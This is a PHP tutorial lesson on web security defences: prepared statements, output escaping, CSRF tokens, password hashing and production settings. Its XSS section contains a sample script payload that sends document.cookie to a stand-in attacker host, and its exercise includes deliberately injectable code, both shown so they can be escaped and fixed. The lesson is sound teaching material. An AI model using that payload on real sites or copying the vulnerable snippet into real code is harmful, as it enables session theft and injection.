PHP Security Essentials

PHP · Lesson 43 of 50 9 min read Updated

A website is open to the whole internet, including people who will type strange things into every form field just to see what breaks. Most successful attacks on PHP sites do not use clever tricks. They use a handful of well-known mistakes that are easy to avoid once you know them.

This lesson collects the essential defences in one place: SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), password storage, session safety, upload safety and production settings. Several of them were introduced in earlier lessons; here you see how they fit together.

The golden rule: never trust input

Input is anything that comes from outside your code: $_GET, $_POST, $_COOKIE, $_FILES, most of $_SERVER, headers, uploaded files, and even data from other APIs. All of it can be changed by an attacker, no matter what your HTML form allows. Two habits protect you:

  • Validate input when it arrives: is it the type, length and format you expect? Reject it if not. (Form Validation & Escaping covers this.)
  • Escape output when you use it: make the data safe for the place it goes, whether that is SQL, HTML, a URL or a shell command.

SQL injection

If user input is joined into an SQL string, an attacker can change the query itself. The fix is simple and has no exceptions: use prepared statements for every query that contains a value from outside.

PHP
// Unsafe: the input becomes part of the SQL
$rows = db()->query("SELECT * FROM users WHERE email = '$email'");

// Safe: the input is sent separately as data
$stmt = db()->prepare('SELECT id, name FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);

For table names, column names or sort directions, which placeholders cannot hold, choose from an allow-list. The details are in CRUD with Prepared Statements.

Cross-site scripting (XSS)

XSS happens when a page prints user input as raw HTML. If a comment contains a <script> tag, every visitor's browser runs it, and the script can steal cookies or act as the logged-in user. The fix is to escape output with htmlspecialchars(), which turns <, >, & and quotes into harmless HTML entities. A short helper makes it easy to use everywhere:

PHP
<?php
declare(strict_types=1);

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$comment = '<script>fetch("https://evil.example/?c=" + document.cookie)</script>';
$name = 'Rohan "The Wall" D\'Souza';

echo '<p>' . e($comment) . "</p>\n";
echo '<input value="' . e($name) . "\">\n";
Output
<p>&lt;script&gt;fetch(&quot;https://evil.example/?c=&quot; + document.cookie)&lt;/script&gt;</p>
<input value="Rohan &quot;The Wall&quot; D&#039;Souza">

The browser now shows the script as text instead of running it. ENT_QUOTES escapes both kinds of quote, so values are also safe inside attributes, and ENT_SUBSTITUTE replaces broken UTF-8 instead of returning an empty string.

Rules that go with it:

  • Escape at the moment of output, every time, even for data from your own database.
  • For a URL that a user typed (such as a website link in a profile), also check it starts with https:// or http://, or someone can submit javascript:....
  • To pass data to JavaScript, use json_encode() with JSON_HEX_TAG, not string joining.
  • A Content-Security-Policy header adds a second layer by telling the browser which scripts it may run.

Cross-site request forgery (CSRF)

Suppose Priya is logged in to your site. She then visits a different, evil site that contains a hidden form which posts to your delete-account.php. Her browser sends her session cookie along with the request, so your site thinks Priya clicked the button herself. This is CSRF.

The defence is a CSRF token: a random secret stored in the session and put in every form. The evil site cannot read it, so its forged requests fail the check.

PHP
<?php
declare(strict_types=1);

function csrfToken(): string
{
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function checkCsrf(): void
{
    $sent = $_POST['csrf_token'] ?? '';
    if (!is_string($sent) || !hash_equals(csrfToken(), $sent)) {
        http_response_code(403);
        exit('This form has expired. Please go back, reload the page and try again.');
    }
}

Every form includes the token in a hidden field, and every script that changes data calls checkCsrf() before doing anything else:

PHP
<form method="post" action="delete-contact.php">
  <input type="hidden" name="csrf_token" value="<?= e(csrfToken()) ?>">
  <input type="hidden" name="id" value="42">
  <button type="submit">Delete</button>
</form>

random_bytes() produces cryptographically secure randomness, and hash_equals() compares two strings in constant time, so an attacker cannot guess the token by measuring how long the comparison takes. Also make sure that actions which change data only work with POST requests, and set your session cookie's SameSite flag to Lax or Strict as an extra layer.

Storing passwords

Never store passwords as plain text, and never use md5() or sha1(): they are designed to be fast, so attackers can test billions of guesses per second. Use password_hash(), which is deliberately slow, adds a random salt (so two users with the same password get different hashes) and stores everything needed in one string.

PHP
// When the user registers
$hash = password_hash($password, PASSWORD_DEFAULT);
// store $hash in a VARCHAR(255) column

// When the user logs in
$stmt = db()->prepare('SELECT id, name, password_hash FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);
$user = $stmt->fetch();

if ($user === false || !password_verify($password, $user['password_hash'])) {
    $error = 'Wrong email or password.';
} else {
    if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
        $update = db()->prepare('UPDATE users SET password_hash = :hash WHERE id = :id');
        $update->execute(['hash' => password_hash($password, PASSWORD_DEFAULT), 'id' => $user['id']]);
    }
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
    header('Location: /dashboard.php');
    exit;
}

A hash from PHP 8.4 looks like $2y$12$... and is 60 characters long. $2y$ means bcrypt, and 12 is the cost: how much work each check takes. PHP 8.4 raised the default cost from 10 to 12. password_needs_rehash() notices old, weaker hashes and upgrades them the next time the user logs in. The error message is the same for an unknown email and a wrong password, so attackers cannot find out which emails are registered.

Sessions

From Sessions & Cookies, the essentials are:

  • Call session_regenerate_id(true) right after login to prevent session fixation, where an attacker plants a session ID they already know.
  • Set the session cookie's secure, httponly and samesite flags, and turn on use_strict_mode.
  • On logout, empty $_SESSION, delete the cookie and call session_destroy().
  • Serve the whole site over HTTPS, so session cookies cannot be read on public Wi-Fi.

File uploads

From File Uploads: check the upload error code and size, detect the real type with finfo, generate a random file name with an extension from your own allow-list, and store files outside the web root. Never use the visitor's file name, and never let uploaded files be run as PHP.

Production settings and updates

Settings that help during development are dangerous on a live server. Use these in the production php.ini:

Text
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/app-errors.log
expose_php = Off
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = Lax
session.use_strict_mode = 1

display_errors = Off stops error messages (with file paths and SQL) from reaching visitors, while log_errors keeps them for you. expose_php = Off removes the X-Powered-By header that tells attackers your exact PHP version.

Common mistakes

  • Escaping on input instead of output. Store the original text and escape it when you print it, for the place you print it.
  • Hiding a delete action behind a GET link. Any page can trigger it. Use a POST form with a CSRF token.
  • Writing your own password hashing or encryption. Use password_hash() and well-known libraries.
  • Telling users which part of a login was wrong. "Wrong email or password" is enough.
  • Trusting hidden form fields, cookies or JavaScript checks. Attackers can change all of them.

Key points

  • Treat all input as untrusted: validate it on arrival and escape it on output.
  • Prepared statements stop SQL injection; allow-lists cover column names.
  • Escape every value you print in HTML with htmlspecialchars() (wrapped in a helper such as e()).
  • Protect every state-changing form with a CSRF token checked by hash_equals().
  • Store passwords with password_hash() and check them with password_verify().
  • In production, turn display_errors off, log errors, use HTTPS and keep PHP and packages updated.

Exercise

Review this code and list every security problem you can find, then rewrite it safely. It runs when a logged-in user posts a new comment:

PHP
$text = $_POST['text'];
db()->query("INSERT INTO comments (user_id, text) VALUES ({$_SESSION['user_id']}, '$text')");
echo "<p>You wrote: $text</p>";
Show solution

Problems: the SQL is built from input (SQL injection), the comment is printed without escaping (XSS), there is no CSRF check, and the input is not validated (it could be missing, an array, empty or huge).

PHP
<?php
declare(strict_types=1);

session_start();
checkCsrf();

$text = trim((string) ($_POST['text'] ?? ''));

if ($text === '' || mb_strlen($text) > 1000) {
    http_response_code(422);
    exit('Please write a comment of 1 to 1,000 characters.');
}

$stmt = db()->prepare('INSERT INTO comments (user_id, text) VALUES (:user_id, :text)');
$stmt->execute(['user_id' => $_SESSION['user_id'], 'text' => $text]);

echo '<p>You wrote: ' . e($text) . '</p>';

Each fix matches one attack: the CSRF check, input validation, a prepared statement and escaping with e() on output.

Quick Quiz

1. Which function should you use to store a user's password?

2. What does htmlspecialchars() protect against?

3. How does a CSRF token stop a forged request from another website?

4. Which setting should be Off on a live server?

Learn PHP with a mentor

Free lessons get you started. Our Full Stack Web Development training adds real projects and code reviews from working developers.

  • Project-based learning
  • Mentor code reviews
  • Free counselling call